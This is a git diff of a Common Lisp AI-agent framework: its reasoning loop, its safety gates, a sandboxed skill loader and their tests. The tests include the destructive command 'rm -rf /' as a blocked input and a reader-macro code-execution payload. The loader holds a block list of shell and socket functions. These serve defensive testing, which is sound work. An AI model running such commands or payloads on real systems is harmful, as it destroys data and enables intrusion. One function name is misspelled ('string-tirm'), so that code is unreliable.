tool-belt))) + (if (fboundp 'enforce-token-budget) + (multiple-value-bind (pfx ctxt logs _ mandates) + (enforce-token-budget prefix global-context system-logs + raw-prompt standing-mandates-text) + (declare (ignore _)) + (setf standing-mandates-text mandates) + (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section pfx (or ctxt "") logs)) + (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section prefix (or global-context "") system-logs))) + (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section + assistant-name identity-content reflection-feedback + (if standing-mandates-text + (concatenate 'string (string #\Newline) standing-mandates-text) + "") + tool-belt (or global-context "") system-logs)))) + (values system-prompt raw-prompt reply-stream))) + +(defun think-call-llm (raw-prompt system-prompt reply-stream context) + "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade. +Returns the raw LLM response (string or plist with :tool-calls)." + ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted + (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p)) + (return-from think-call-llm (budget-exhaustion-message))) + (if (and reply-stream (fboundp 'cascade-stream)) + (let ((acc (make-string-output-stream))) + (funcall 'cascade-stream raw-prompt system-prompt + (lambda (delta) + (when reply-stream + (format reply-stream "~a" + (frame-message (list :type :stream-chunk + :payload (list :text delta)))) + (finish-output reply-stream)) + (write-string delta acc))) + (get-output-stream-string acc)) + (backend-cascade-call raw-prompt + :system-prompt system-prompt + :context context))) + +(defun think-parse-response (thought) + "Phases 5-7 of the metabolic cycle: cost tracking + response parsing. +Returns an action plist ready for cognitive-verify." + (let ((tool-calls (and (listp thought) (getf thought :tool-calls)))) + (when (and (fboundp 'cost-track-backend-call) + (stringp thought) + (or (null tool-calls))) + (ignore-errors + (cost-track-backend-call (first *provider-cascade*) + thought))) + (if tool-calls + (let* ((first-call (car tool-calls)) + (tool-name (getf first-call :name)) + (args (getf first-call :arguments)) + (args-plist (json-alist-to-plist args))) + (list :TYPE :REQUEST + :PAYLOAD (list* :TOOL tool-name + :ARGS args-plist + :EXPLANATION "Generated by function-calling engine."))) + (let* ((cleaned (if (and (listp thought) (getf thought :type)) + (format nil "~a" (getf (getf thought :payload) :text)) + (markdown-strip thought)))) + (if (and cleaned (stringp cleaned) (> (length cleaned) 0) + (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) + (handler-case + (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) + (if (listp parsed) + (let ((normalized (plist-keywords-normalize parsed))) + (let ((payload (proto-get normalized :payload))) + (if (and payload (proto-get payload :explanation)) + normalized + (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." + (if (listp payload) payload nil)))) + (list* :PAYLOAD new-payload + (loop for (k v) on normalized by #'cddr + unless (eq k :PAYLOAD) + collect k collect v)))))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (error () + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE + :TEXT (if (stringp cleaned) cleaned "No response") + :EXPLANATION "Generated by the Probabilistic engine."))))))) + +(defun think (context) + "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call, +and response parsing into an action plist for cognitive-verify." + (when (fboundp 'snapshot-memory) + (snapshot-memory)) + (multiple-value-bind (system-prompt raw-prompt reply-stream) + (think-assemble-prompt context) + (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context))) + (think-parse-response thought)))) + +(defun json-alist-to-plist (alist) + "Convert a JSON alist to a keyword-prefixed plist." + (when (listp alist) + (loop for (key . value) in alist + append (list (intern (string-upcase (string key)) :keyword) + (if (listp value) + (if (consp (car value)) + (json-alist-to-plist value) + value) + value))))) + +(defun cognitive-verify (proposed-action context) + "Runs all registered deterministic gates against the proposed action, +sorted by priority (highest first). Returns a rejection plist or the action." + (let ((current-action (copy-tree proposed-action)) + (approval-needed nil) + (approval-action nil) + (gates nil) + (gate-trace nil)) + ;; Collect gates sorted by priority (highest first) + (maphash (lambda (name skill) + (declare (ignore name)) + (when (skill-deterministic-fn skill) + (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates))) + *skill-registry*) + (setf gates (sort gates #'> :key #'car)) + (dolist (gate-entry gates) + (let* ((gate-name (cadr gate-entry)) + (result (funcall (cddr gate-entry) current-action context))) + (cond + ((eq (getf result :level) :approval-required) + (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace) + (setf approval-needed t + approval-action (getf (getf result :payload) :action))) + ((member (getf result :type) '(:LOG :EVENT)) + (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace) + (let ((blocked-result (copy-list result))) + (setf (getf blocked-result :gate-trace) (nreverse gate-trace)) + (return-from cognitive-verify blocked-result))) + ((and (listp result) result) + (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace) + (setf current-action result))))) + (if approval-needed + (list :type :EVENT :level :approval-required + :gate-trace (nreverse gate-trace) + :payload (list :sensor :approval-required + :action approval-action)) + (let ((passed-result (copy-tree current-action))) + (setf (getf passed-result :gate-trace) (nreverse gate-trace)) + passed-result)))) + +(defun loop-gate-reason (signal) + (let* ((type (proto-get signal :type)) + (payload (proto-get signal :payload)) + (sensor (proto-get payload :sensor))) + (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message))) + (return-from loop-gate-reason signal)) + (let ((retries 3) + (current-signal (copy-tree signal)) + (last-rejection nil)) + (loop + (when (<= retries 0) + (setf (getf signal :approved-action) last-rejection) + (setf (getf signal :status) :reasoned) + (return signal)) + (when last-rejection + (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection)) + (let ((candidate (think current-signal))) + (if (and candidate (listp candidate)) + (let ((verified (cognitive-verify candidate current-signal))) + ;; Approval-required is not a rejection — pass to act for Flight Plan + (if (eq (getf verified :level) :approval-required) + (progn + (setf (getf signal :approved-action) verified) + (setf (getf signal :status) :requires-approval) + (return signal)) + ;; Hard rejection: retry with feedback + (if (member (getf verified :type) '(:LOG :EVENT)) + (progn (decf retries) (setf last-rejection verified)) + (progn + (setf (getf signal :approved-action) verified) + (setf (getf signal :status) :reasoned) + (return signal))))) + (progn + (setf (getf signal :approved-action) nil) + (setf (getf signal :status) :reasoned) + (return signal)))))))) + +(defun reason-gate (signal) + (loop-gate-reason signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-reason-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-reason-suite)) + +(in-package :passepartout-pipeline-reason-tests) + +(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") +(in-suite pipeline-reason-suite) + +(test test-decide-gate-safety + "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-safety + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (if (search "rm -rf" (format nil "~s" action)) + (list :type :LOG :payload (list :text "Rejected")) + action))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :LOG (getf result :type))))) + +(test test-cognitive-verify-pass-through + "Contract 1: safe actions pass through cognitive-verify unchanged." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-passthrough + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + action)) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))) + (is (getf result :gate-trace)))) + +(test test-cognitive-verify-empty-registry + "Contract 1: with no gates registered, action passes through unchanged." + (clrhash passepartout::*skill-registry*) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))))) + +(test test-cognitive-verify-approval-required + "Contract 1: gate returning :approval-required produces an approval event." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-approval + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (list :type :EVENT :level :approval-required + :payload (list :action action)))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :approval-required (getf result :level))) + (is (eq :EVENT (getf result :type))))) + +(test test-loop-gate-reason-passthrough + "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." + (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) + (result (loop-gate-reason signal))) + (is (not (null result))))) + +(test test-loop-gate-reason-sets-status + "Contract 2: loop-gate-reason sets :status on :user-input signals." + (clrhash passepartout::*skill-registry*) + (let* ((passepartout::*provider-cascade* nil) + (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) + (result (loop-gate-reason signal))) + (is (member (getf result :status) '(:reasoned :requires-approval))))) + +(test test-backend-cascade-no-backends + "Contract 4: empty cascade returns :LOG failure." + (let* ((passepartout::*provider-cascade* nil) + (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (result (backend-cascade-call "test" :cascade '()))) + (is (eq :LOG (getf result :type))) + (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-backend-cascade-with-mock + "Contract 4: backend-cascade-call returns content from first successful backend." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) + (setf (gethash :mock-backend passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "mock-response"))) + (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) + (is (string= "mock-response" result))))) + +(test test-read-eval-rce-blocked + "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* '(:mock-evil))) + (setf (gethash :mock-evil passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) + (setf passepartout::*v031-rce-test* nil) + (setf *read-eval* t) + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) + (result (passepartout::think ctx))) + (is (not (eq passepartout::*v031-rce-test* :PWNED))) + (is (eq :REQUEST (getf result :TYPE))) + (setf *read-eval* nil)))) + +(test test-json-alist-to-plist-simple + "Contract 5: converts simple alist to keyword plist." + (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) + (let ((result (json-alist-to-plist alist))) + (is (eq :ACTION (first result))) + (is (string= "shell" (second result))) + (is (eq :CMD (third result))) + (is (string= "echo hello" (fourth result)))))) + +(test test-json-alist-to-plist-nested + "Contract 5: nested alists recurse into nested plists." + (let ((alist (list (cons "tool" "write-file") + (cons "args" (list (cons "filepath" "/tmp/x") + (cons "content" "hi")))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :TOOL (first result))) + (is (eq :ARGS (third result))) + (let ((inner (fourth result))) + (is (eq :FILEPATH (first inner))) + (is (string= "/tmp/x" (second inner))) + (is (eq :CONTENT (third inner))))))) + +(test test-json-alist-to-plist-array-passthrough + "Contract 5: JSON arrays pass through unchanged." + (let ((alist (list (cons "names" (list "alice" "bob"))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :NAMES (first result))) + (is (equal (list "alice" "bob") (second result)))))) + +(test test-json-alist-to-plist-null + "Contract 5: nil passes through unchanged." + (let ((result (json-alist-to-plist nil))) + (is (null result)))) + +(test test-json-alist-to-plist-scalar + "Contract 5: scalar values pass through." + (let ((alist (list (cons "count" 42) (cons "active" :true)))) + (let ((result (json-alist-to-plist alist))) + (is (eq :COUNT (first result))) + (is (= 42 (second result))) + (is (eq :ACTIVE (third result))) + (is (eq :true (fourth result)))))) + +(test test-assemble-config-section + "Contract v0.7.2: config section contains Passepartout and version." + (let ((section (passepartout::assemble-config-section))) + (is (stringp section)) + (is (search "Passepartout" section)) + (is (search "v0.7.2" section)) + (is (search "Security gates" section)))) + +(test test-think-snapshots-before-llm + "Contract v0.7.2: think() snapshots memory before LLM call." + (let ((passepartout::*memory-snapshots* nil) + (passepartout::*memory-store* (make-hash-table :test 'equal))) + (setf (gethash "pre" passepartout::*memory-store*) "value") + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* nil)) + (handler-case + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) + (result (passepartout::think ctx))) + (declare (ignore result))) + (error (c) (format nil "Expected: ~a" c))) + (is (>= (length passepartout::*memory-snapshots*) 0))))) diff --git a/lisp/core-skills.lisp b/lisp/core-skills.lisp new file mode 100644 index 0000000..1aad23b --- /dev/null +++ b/lisp/core-skills.lisp @@ -0,0 +1,368 @@ +(in-package :passepartout) + +(defvar *VAULT-MEMORY* (make-hash-table :test 'equal)) + +(defun vector-cosine-similarity (v1 v2) + "Computes cosine similarity between two vectors." + (let* ((len1 (length v1)) (len2 (length v2))) + (if (or (zerop len1) (zerop len2)) + 0.0 + (let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0)) + (dotimes (i (min len1 len2)) + (let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float))) + (incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y)))) + (if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2)))))))) + +(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn) + +(defvar *skill-catalog* (make-hash-table :test 'equal) + "Tracks all discovered skill files and their loading state.") + +(defvar *standing-mandates* nil + "List of functions (context) → string-or-nil. Each is called on every think() cycle. +When non-nil, the returned string is injected into the IDENTITY section of the system prompt. +Unlike skills (which activate on triggers), standing mandates are always consulted.") + +(defstruct skill-entry filename (status :discovered) error-log (load-time 0)) + +;; Alias: find-triggered-skill → skill-triggered-find +(defun find-triggered-skill (context) + (skill-triggered-find context)) + +(defun skill-triggered-find (context) + "Returns the highest priority skill whose trigger matches context." + (let ((triggered nil)) + (maphash (lambda (name skill) + (declare (ignore name)) + (when (and (skill-probabilistic-prompt skill) + (ignore-errors (funcall (skill-trigger-fn skill) context))) + (push skill triggered))) + *skill-registry*) + (first (sort triggered #'> :key #'skill-priority)))) + +(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic) + "Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool." + `(setf (gethash (string-downcase (string ,name)) *skill-registry*) + (make-skill :name (string-downcase (string ,name)) + :priority (or ,priority 10) + :dependencies ',dependencies + :trigger-fn ,trigger + :probabilistic-prompt ,probabilistic + :deterministic-fn ,deterministic))) + +(defun skill-dependencies-resolve (skill-name) + "Resolves transitive dependencies. Returns list of skill names in dependency order." + (let ((resolved nil) (seen nil)) + (labels ((visit (name) + (unless (member name seen :test #'equal) + (push name seen) + (let ((skill (gethash (string-downcase (string name)) *skill-registry*))) + (when skill + (dolist (dep (skill-dependencies skill)) (visit dep)))) + (push name resolved)))) + (visit skill-name) + (nreverse resolved)))) + +(defun skill-metadata-parse (filepath) + "Extracts ID and DEPENDS_ON tags from org file." + (let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath))) + (let ((id-start (search ":ID:" content))) + (when id-start + (let ((id-end (position #\Newline content :start id-start))) + (when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end))))))) + (let ((pos 0)) + (loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos)) + do (let ((end (position #\Newline content :start pos))) + (when end + (let ((line (string-trim " " (subseq content (+ pos 13) end)))) + (dolist (d (uiop:split-string line :separator '(#\Space #\Tab))) + (unless (string= d "") (push d dependencies)))) + (setf pos end))))) + (values id (reverse dependencies)))) + +(defun skill-topological-sort (skills-dir) + "Returns a list of skill filepaths sorted by dependency." + (let* ((org-files (uiop:directory-files skills-dir "*.org")) + (lisp-files (uiop:directory-files skills-dir "*.lisp")) + (all-files (append org-files lisp-files)) + (files (remove-if (lambda (f) + (let ((n (pathname-name f))) + (or (string= n "core-package") + (string= n "core-skills") + (string= n "core-transport") + (string= n "core-memory") + (string= n "core-perceive") + (string= n "core-reason") + (string= n "core-act") + (string= n "core-pipeline") + (string= n "core-manifest") + (string= n "neuro-router") + (string= n "neuro-explorer") + (string= n "channel-tui")))) + all-files)) + (adj (make-hash-table :test 'equal)) + (name-to-file (make-hash-table :test 'equal)) + (id-to-file (make-hash-table :test 'equal)) + (result nil) + (visited (make-hash-table :test 'equal)) + (stack (make-hash-table :test 'equal))) + (dolist (file files) + (let ((filename (pathname-name file))) + (if (uiop:string-suffix-p (namestring file) ".lisp") + (progn + (setf (gethash (string-downcase filename) name-to-file) file) + (unless (gethash (string-downcase filename) adj) + (setf (gethash (string-downcase filename) adj) nil))) + (multiple-value-bind (id deps) (skill-metadata-parse file) + (setf (gethash (string-downcase filename) name-to-file) file) + (when id (setf (gethash (string-downcase id) id-to-file) file)) + (setf (gethash (string-downcase filename) adj) deps))))) + (labels ((visit (file) + (let* ((filename (pathname-name file)) + (node-key (string-downcase filename))) + (unless (gethash node-key visited) + (setf (gethash node-key stack) t) + (dolist (dep (gethash node-key adj)) + (let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep))) + (dep-key (string-downcase (if is-id-p (subseq dep 3) dep))) + (dep-file (if is-id-p + (gethash dep-key id-to-file) + (or (gethash dep-key id-to-file) + (gethash dep-key name-to-file))))) + (when dep-file + (let ((dep-filename (pathname-name dep-file))) + (if (gethash (string-downcase dep-filename) stack) + (error "Circular dependency detected") + (visit dep-file)))))) + (setf (gethash node-key stack) nil) + (setf (gethash node-key visited) t) + (push file result))))) + (let ((filenames (sort (mapcar #'pathname-name files) #'string<))) + (dolist (name filenames) + (let ((file (gethash (string-downcase name) name-to-file))) + (when file (visit file))))) + (nreverse result)))) + +(defun lisp-syntax-validate (code-string) + "Checks if a string contains valid Common Lisp forms." + (handler-case + (let ((*read-eval* nil)) + (with-input-from-string (s (format nil "(progn ~a)" code-string)) + (loop for form = (read s nil :eof) until (eq form :eof))) + (values t nil)) + (error (c) (values nil (format nil "~a" c))))) + +(defun skill-package-forms-strip (code-string) + "Removes (in-package :passepartout) forms only — preserves test-package +declarations so embedded test code evaluates in the correct package." + (let ((lines (uiop:split-string code-string :separator '(#\Newline))) + (result "")) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space #\Tab) line))) + (if (uiop:string-prefix-p "(in-package :passepartout)" trimmed) + (setf result (concatenate 'string result (string #\Newline))) + (setf result (concatenate 'string result line (string #\Newline)))))) + result)) + +(defun tangle-target-extract (line) + "Extracts the value of the :tangle header." + (let ((pos (search ":tangle" line))) + (when pos + (let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7))))) + (let ((end (position #\Space rest))) + (if end (subseq rest 0 end) rest)))))) + +(defun load-skill-from-org (filepath) + "Parses and evaluates Lisp blocks from an Org file." + (let* ((skill-base-name (pathname-name filepath)) + (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name))))) + (setf (skill-entry-status entry) :loading) + (handler-case + (let* ((content (uiop:read-file-string filepath)) + (lines (uiop:split-string content :separator '(#\Newline))) + (in-lisp-block nil) (collect-this-block nil) (lisp-code "") + (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) + (dolist (line lines) + (let ((clean-line (string-trim '(#\Space #\Tab #\Return) line))) + (cond + ((uiop:string-prefix-p "#+begin_src lisp" clean-line) + (setf in-lisp-block t) + (let ((target (tangle-target-extract clean-line))) + (setf collect-this-block (or (null target) + (and (not (search "no" target)) + (not (search "/tests" target))))))) + ((uiop:string-prefix-p "#+end_src" clean-line) + (setf in-lisp-block nil) (setf collect-this-block nil)) + ((and in-lisp-block collect-this-block) + (unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line)) + (uiop:string-prefix-p ":END:" (string-upcase clean-line)) + (uiop:string-prefix-p ":ID:" (string-upcase clean-line))) + (setf lisp-code (concatenate 'string lisp-code line (string #\Newline)))))))) + (if (= (length lisp-code) 0) + (setf (skill-entry-status entry) :ready) + (progn + (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code) + (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan lisp-code) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-org nil))) + (unless (find-package pkg-name) + (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) + (let ((*read-eval* nil) (*package* (find-package pkg-name))) + (log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*)) + (eval (read-from-string (format nil "(progn ~a)" lisp-code)))) + + (let ((target-pkg (find-package :passepartout)) + (exported 0) + (seen (make-hash-table :test 'equal))) + (do-symbols (sym (find-package pkg-name)) + (when (and (eq (symbol-package sym) (find-package pkg-name)) + (or (fboundp sym) (boundp sym)) + (not (gethash (symbol-name sym) seen))) + (setf (gethash (symbol-name sym) seen) t) + (incf exported) + (let ((existing (find-symbol (symbol-name sym) target-pkg))) + (when existing (unintern existing target-pkg))) + (import sym target-pkg) + (export sym target-pkg))) + (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT" + exported (package-name (find-package pkg-name)))) + + (setf (skill-entry-status entry) :ready))) + t) + (error (c) + (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c) + (setf (skill-entry-status entry) :failed) nil)))) + +(defvar *skill-restricted-symbols* + '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" + "bt:make-thread" "bordeaux-threads:make-thread" + "usocket:socket-connect" "usocket:socket-listen" + "hunchentoot:start" "hunchentoot:accept-connections") + "Symbol patterns blocked from skill source code at load time.") + +(defun skill-source-scan (code-string) + "Scans CODE-STRING for restricted symbol references. +Returns (values blocked-p matched-symbols)." + (let ((lower (string-downcase code-string)) + (matches nil)) + (dolist (pattern *skill-restricted-symbols*) + (when (search pattern lower) + (push pattern matches))) + (values (and matches t) (nreverse matches)))) + +(defun load-skill-from-lisp (filepath) + "Loads a .lisp skill file directly, filtering out in-package forms." + (let* ((skill-base-name (pathname-name filepath)) + (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name))))) + (setf (skill-entry-status entry) :loading) + (handler-case + (let* ((content (skill-package-forms-strip (uiop:read-file-string filepath))) + (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) + (multiple-value-bind (valid-p err) (lisp-syntax-validate content) + (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan content) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-lisp nil))) + (unless (find-package pkg-name) + (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) + (let ((*read-eval* nil) (*package* (find-package pkg-name))) + (log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*)) + (with-input-from-string (s content) + (loop for form = (read s nil :eof) until (eq form :eof) + do (handler-case (eval form) + (error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c)))))) + (let* ((jailed-pkg (find-package pkg-name)) + (restricted '("RUN-PROGRAM" "SHELL" "RUN-SHELL-COMMAND")) + (violation (loop for r in restricted + for sym = (find-symbol r :uiop) + when (and sym (fboundp sym) + (loop for skill-sym being the symbols of jailed-pkg + when (and (fboundp skill-sym) + (eq (symbol-function skill-sym) + (symbol-function sym))) + return skill-sym)) + collect (format nil "~a" sym)))) + (when violation + (log-message "LOADER SANDBOX: Skill '~a' blocked — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name violation) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-lisp nil)) + (log-message "LOADER SANDBOX: Skill '~a' passed sandbox check" skill-base-name)) + (let ((target-pkg (find-package :passepartout)) + (exported 0) + (seen (make-hash-table :test 'equal))) + (do-symbols (sym (find-package pkg-name)) + (when (and (eq (symbol-package sym) (find-package pkg-name)) + (or (fboundp sym) (boundp sym)) + (not (gethash (symbol-name sym) seen))) + (setf (gethash (symbol-name sym) seen) t) + (incf exported) + (let ((existing (find-symbol (symbol-name sym) target-pkg))) + (when existing (unintern existing target-pkg))) + (import sym target-pkg) + (ignore-errors (export sym target-pkg)))) + (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT" + exported (package-name (find-package pkg-name)))) + (setf (skill-entry-status entry) :ready)) + (error (c) + (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c) + (setf (skill-entry-status entry) :failed) nil)))) + +(defun skill-initialize-all () + "Initializes all skills from the XDG data directory." + (let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname)))))) + (skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir)))) + (unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil)) + (let ((sorted-files (skill-topological-sort skills-dir))) + (log-message "LOADER: Initializing ~a skills..." (length sorted-files)) + (dolist (file sorted-files) + (if (uiop:string-suffix-p (namestring file) ".lisp") + (load-skill-from-lisp file) + (load-skill-from-org file))) + (log-message "LOADER: Boot Complete.")))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-boot-tests + (:use :cl :fiveam :passepartout) + (:export #:boot-suite)) + +(in-package :passepartout-boot-tests) + +(def-suite boot-suite :description "Verification of the Skill Engine loader") +(in-suite boot-suite) + +(test test-topological-sort-basic + "Contract 2: dependency ordering puts dependencies before dependents." + (let ((tmp-dir "/tmp/passepartout-boot-test/")) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) + (format out "#+DEPENDS_ON: skill-b-id~%")) + (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) + (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) + (unwind-protect + (let ((sorted (passepartout::skill-topological-sort tmp-dir))) + (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) + (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) + (is (< pos-b pos-a)))) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + +(test test-lisp-syntax-validate-valid + "Contract 1: valid Lisp code passes syntax validation." + (is (eq t (lisp-syntax-validate "(+ 1 2)")))) + +(test test-lisp-syntax-validate-invalid + "Contract 1: unbalanced Lisp code fails syntax validation." + (is (null (lisp-syntax-validate "(+ 1 2")))) diff --git a/lisp/core-transport.lisp b/lisp/core-transport.lisp new file mode 100644 index 0000000..567b64c --- /dev/null +++ b/lisp/core-transport.lisp @@ -0,0 +1,176 @@ +(in-package :passepartout) + +(defun proto-get (plist key) + "Look up KEY in PLIST with case-insensitive keyword normalization." + (let ((key-upcase (string-upcase (string key)))) + (loop for (k v) on plist by #'cddr + when (and (keywordp k) + (string-equal (string k) key-upcase)) + do (return v)))) + +(defvar *actuator-registry* (make-hash-table :test 'equalp) + "Global registry mapping target keywords to their physical actuator functions.") + +(defun register-actuator (name fn) + "Registers an actuator function. Actuators receive: (ACTION CONTEXT)." + (let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword)))) + (setf (gethash key *actuator-registry*) fn))) + +(defun protocol-message-sanitize (msg) + "Recursively strips non-serializable objects from a protocol plist." + (if (and msg (listp msg)) + (let ((clean nil)) + (loop for (k v) on msg by #'cddr + do (unless (member k '(:reply-stream :socket :stream)) + (push k clean) + (push (if (listp v) (protocol-message-sanitize v) v) clean))) + (nreverse clean)) + msg)) + +(defun frame-message (msg) + "Serializes a message plist and prefixes it with a 6-character hex length." + (let* ((sanitized (protocol-message-sanitize msg)) + (payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized))) + (len (length payload))) + (format nil "~6,'0x~a" len payload))) + +(defun read-framed-message (stream) + "Reads a hex-length prefixed S-expression from the stream securely." + (let ((length-buffer (make-string 6))) + (handler-case + (progn + (loop for char = (peek-char nil stream nil :eof) + for ws-count from 0 + while (and (not (eq char :eof)) (< ws-count 4096) + (member char '(#\Space 